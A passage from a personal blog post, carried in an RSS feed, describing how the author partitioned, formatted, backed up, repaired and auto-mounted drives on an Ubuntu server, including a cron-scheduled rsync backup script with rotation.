&lt;li&gt;
&lt;code&gt;m&lt;/code&gt; → Display help (list available commands)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;p&lt;/code&gt; → Print the current partition table&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n&lt;/code&gt; → Create a new partition&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;d&lt;/code&gt; → Delete a partition&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;w&lt;/code&gt; → Write the changes to disk and exit&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; → Quit without saving changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's worth mentioning that you can't make irreversible mistakes—if you don't write the changes, your disk won't be affected.&lt;/p&gt;

&lt;p&gt;Once I partitioned the drive, I could format it with a specific filesystem (e.g., &lt;code&gt;ext4&lt;/code&gt;, &lt;code&gt;ntfs&lt;/code&gt;, &lt;code&gt;xfs&lt;/code&gt;, etc.). The most common filesystem for Linux is &lt;code&gt;ext4&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;mkfs.ext4 /dev/target_disk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just in case, I checked and verified the filesystem type and details after formatting using &lt;code&gt;lsblk&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lsblk &lt;span class="nt"&gt;-f&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Backing Up Data
&lt;/h3&gt;

&lt;p&gt;Although I had a large amount of movie data (around 1TB), I deemed it non-critical, so I decided to skip backing it up. On the other hand, I considered my photos more valuable, so, I backed them up to the 5TB drive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List block devices and their partitions&lt;/span&gt;
lsblk

&lt;span class="c"&gt;# Backup data&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;rsync &lt;span class="nt"&gt;-aAXHvS&lt;/span&gt; &lt;span class="nt"&gt;--progress&lt;/span&gt; /mnt/source_disk/ /mnt/target_disk/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;rsync&lt;/code&gt; is a powerful tool that can efficiently back up and synchronize files and directories. While its primary function is file copying, its advanced features and optimizations make it the go-to tool for tasks like backup, synchronization, and file transfer. It's ideal when you want efficiency and flexibility, especially for large datasets or remote backups.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-a&lt;/code&gt; → archive (recursive + preserves metadata)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-A&lt;/code&gt; → preserve ACLs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-X&lt;/code&gt; → preserve extended attributes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-H&lt;/code&gt; → preserve hard links&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-v&lt;/code&gt; → verbose&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-S&lt;/code&gt; → turn sequences of nulls into sparse blocks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--progress&lt;/code&gt; → shows live progress&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Repairing the File System
&lt;/h3&gt;

&lt;p&gt;Once the backup was complete, I could proceed to repair the filesystem using &lt;code&gt;fsck&lt;/code&gt;. First, I unmounted the target device and ensured that it is not being used by any processes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Unmount your device&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;umount /dev/target_disk

&lt;span class="c"&gt;# Check and repair&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;fsck /dev/target_disk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Copying Files Between Drives
&lt;/h3&gt;

&lt;p&gt;For copying files from one drive to another, I continued using &lt;code&gt;rsync&lt;/code&gt; in the same way I did for the backup. The rest of the steps were pretty much the same, just with different source and target values.&lt;/p&gt;

&lt;h3&gt;
  
  
  Automated backups
&lt;/h3&gt;

&lt;p&gt;To automate the backup process, I wrote a custom bash script. In this version, I assigned Ansible variables to the SOURCE, BACKUP_BASE, and BACKUP_DIR variables, as I implemented the script with Ansible. You can easily replace these values as needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c"&gt;# Photo backup script with rotation&lt;/span&gt;
&lt;span class="c"&gt;# Backs up {{ backup_source }} to {{ backup_destination }}/photos_&amp;lt;timestamp&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;# Keeps only the last 3 backups&lt;/span&gt;

&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"{{ backup_source }}"&lt;/span&gt;
&lt;span class="nv"&gt;BACKUP_BASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"{{ backup_destination }}"&lt;/span&gt;
&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;BACKUP_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BACKUP_BASE&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/photos_&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/log/backup-photos.log"&lt;/span&gt;

&lt;span class="c"&gt;# Function to log messages&lt;/span&gt;
log_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d %H:%M:%S'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# Check if source directory exists&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;log_message &lt;span class="s2"&gt;"ERROR: Source directory &lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt; does not exist"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Check if backup base directory exists&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_BASE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;log_message &lt;span class="s2"&gt;"ERROR: Backup base directory &lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_BASE&lt;/span&gt;&lt;span class="s2"&gt; does not exist"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi

&lt;/span&gt;log_message &lt;span class="s2"&gt;"Starting backup of &lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt; to &lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Create backup directory&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Make sure that the backup directory is owned by the ansible_user&lt;/span&gt;
&lt;span class="nb"&gt;chown&lt;/span&gt; &lt;span class="o"&gt;{{&lt;/span&gt; ansible_user &lt;span class="o"&gt;}}&lt;/span&gt;:&lt;span class="o"&gt;{{&lt;/span&gt; ansible_user &lt;span class="o"&gt;}}&lt;/span&gt; &lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;

&lt;span class="c"&gt;# Perform backup using rsync&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;rsync &lt;span class="nt"&gt;-aAXHvS&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;log_message &lt;span class="s2"&gt;"Backup completed successfully to &lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;else
  &lt;/span&gt;log_message &lt;span class="s2"&gt;"ERROR: Backup failed"&lt;/span&gt;
  &lt;span class="c"&gt;# Clean up failed backup directory&lt;/span&gt;
  &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Rotation: Keep only the last 3 backups&lt;/span&gt;
log_message &lt;span class="s2"&gt;"Starting backup rotation (keeping last 3 backups)"&lt;/span&gt;

&lt;span class="c"&gt;# Find all photo backup directories and sort by modification time (newest first)&lt;/span&gt;
&lt;span class="c"&gt;# Then skip the first 3 (keep them) and delete the rest&lt;/span&gt;
find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_BASE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-maxdepth&lt;/span&gt; 1 &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"photos_*"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-nr&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +4 | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; old_backup&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
      if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$old_backup&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$old_backup&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_BASE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
          &lt;/span&gt;log_message &lt;span class="s2"&gt;"Removing old backup: &lt;/span&gt;&lt;span class="nv"&gt;$old_backup&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
          &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$old_backup&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
      &lt;span class="k"&gt;fi
  done

&lt;/span&gt;log_message &lt;span class="s2"&gt;"Backup rotation completed"&lt;/span&gt;

&lt;span class="c"&gt;# Show current backups&lt;/span&gt;
log_message &lt;span class="s2"&gt;"Current backups:"&lt;/span&gt;
find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_BASE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-maxdepth&lt;/span&gt; 1 &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"photos_*"&lt;/span&gt; &lt;span class="nt"&gt;-printf&lt;/span&gt; &lt;span class="s1"&gt;'%TY-%Tm-%Td %TH:%TM:%TS %p\n'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

log_message &lt;span class="s2"&gt;"Backup process finished successfully"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Script Breakdown:
&lt;/h4&gt;

&lt;p&gt;I wrote the script above for an Ansible playbook, so it includes some Ansible variables. You can easily replace these values as needed. It's important to make the script executable by runnning: &lt;code&gt;sudo chmod 0755 /path/to/my/script&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;set -euo pipefail&lt;/code&gt;:

&lt;ul&gt;
&lt;li&gt;Stops immediately when an error occurs (thanks to &lt;code&gt;-e&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;This option causes the script to exit if it tries to use a variable that hasn't been set (i.e., is unset or undefined) (thanks to &lt;code&gt;-u&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;With this option, the script will return the exit status of the last command in a pipeline that failed, rather than just the status of the last command (thanks to &lt;code&gt;-o pipefail&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The script begins by initializing the backup directories and setting the appropriate permissions.&lt;/li&gt;

&lt;li&gt;It then uses &lt;code&gt;rsync&lt;/code&gt; to copy the files from the source directory to the backup directory, applying the same settings as before.&lt;/li&gt;

&lt;li&gt;After the backup is completed, the script collects all existing backup directories, sorts them by modification time in descending order, and deletes the oldest backups, keeping only the three most recent ones.&lt;/li&gt;

&lt;li&gt;The entire backup process is logged, including any errors or success messages, either to a file or to the terminal.&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;To run this script automatically on my Ubuntu Server, I used the &lt;code&gt;crontab&lt;/code&gt; utility by running &lt;code&gt;sudo crontab -e&lt;/code&gt; (which edits the &lt;code&gt;crontab&lt;/code&gt; settings for the &lt;code&gt;root&lt;/code&gt; user). &lt;code&gt;crontab&lt;/code&gt; is a tool that allows you to schedule tasks to run at specified intervals. It's part of the cron system, a time-based job scheduler in Unix-like operating systems. After opening the &lt;code&gt;crontab&lt;/code&gt; configuration file, I added the following line to schedule the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;0 1 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; /path/to/my/script &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /var/log/backup-photos.log 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above configuration ensures that the script runs every day at 1 AM (according to server's local time). It also redirects both the standard output and error messages to the specified log file (&lt;code&gt;/var/log/backup-photos.log&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;With this additional step, I can relax knowing that my most important data is backed up automatically every day 😎&lt;/p&gt;

&lt;h3&gt;
  
  
  Mount disks on system boot
&lt;/h3&gt;

&lt;p&gt;Finally, to ensure that my disks are automatically mounted on system boot, I first needed to obtain the UUIDs of the devices. I did this by running: &lt;code&gt;lsblk -o UUID,NAME,FSTYPE,MOUNTPOINT&lt;/code&gt;. Once I had the UUIDs of the target drives, I modified the filesystem table by running: &lt;code&gt;sudo vi /etc/fstab&lt;/code&gt;. In the file, I added the following entry for each drive I wanted to mount automatically: &lt;code&gt;UUID=&amp;lt;uuid&amp;gt; &amp;lt;pathtomount&amp;gt; &amp;lt;filesystem&amp;gt; defaults,noatime 0 2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here's a breakdown of what this line does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The partition with the specified UUID will be mounted at the target path, e.g., &lt;code&gt;/mnt/data&lt;/code&gt;.
This means the partition identified by the UUID will be automatically mounted to the directory &lt;code&gt;/mnt/data&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The filesystem type (e.g., &lt;code&gt;ext4&lt;/code&gt;).
This specifies the type of filesystem the partition is using, such as &lt;code&gt;ext4&lt;/code&gt;, &lt;code&gt;xfs&lt;/code&gt;, &lt;code&gt;ntfs&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;The filesystem will be mounted with default options and the &lt;code&gt;noatime&lt;/code&gt; option:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;defaults&lt;/code&gt;: This refers to a standard set of mount options that include read/write access, asynchronous I/O, and others that make the filesystem behave in a standard way.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;noatime&lt;/code&gt;: This option prevents the system from updating the "access time" (atime) every time a file is read. This reduces unnecessary disk writes, which can improve performance, especially on SSDs.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;0&lt;/code&gt; → This value indicates that the partition will not be backed up by the dump utility. In practice, most filesystems do not require backups using dump, so 0 is commonly used here.&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;1&lt;/code&gt; → This is the &lt;code&gt;fsck&lt;/code&gt; order. It specifies the order in which the filesystems should be checked by the &lt;code&gt;fsck&lt;/code&gt; (file system check) utility during boot:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1&lt;/code&gt; means this filesystem will be checked first (typically used for the root filesystem).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;2&lt;/code&gt; means it will be checked second, and so on.&lt;/li&gt;
&lt;li&gt;If set to &lt;code&gt;0&lt;/code&gt;, the filesystem will not be checked during boot.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;With the configuration above, if everything is set up correctly, all registered drives will now be automatically mounted to their specified mount points during system boot. 🎉🎉🎉&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/6" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>ubuntu</category>
      <category>fsck</category>
      <category>fstab</category>
    </item>
  </channel>
</rss>
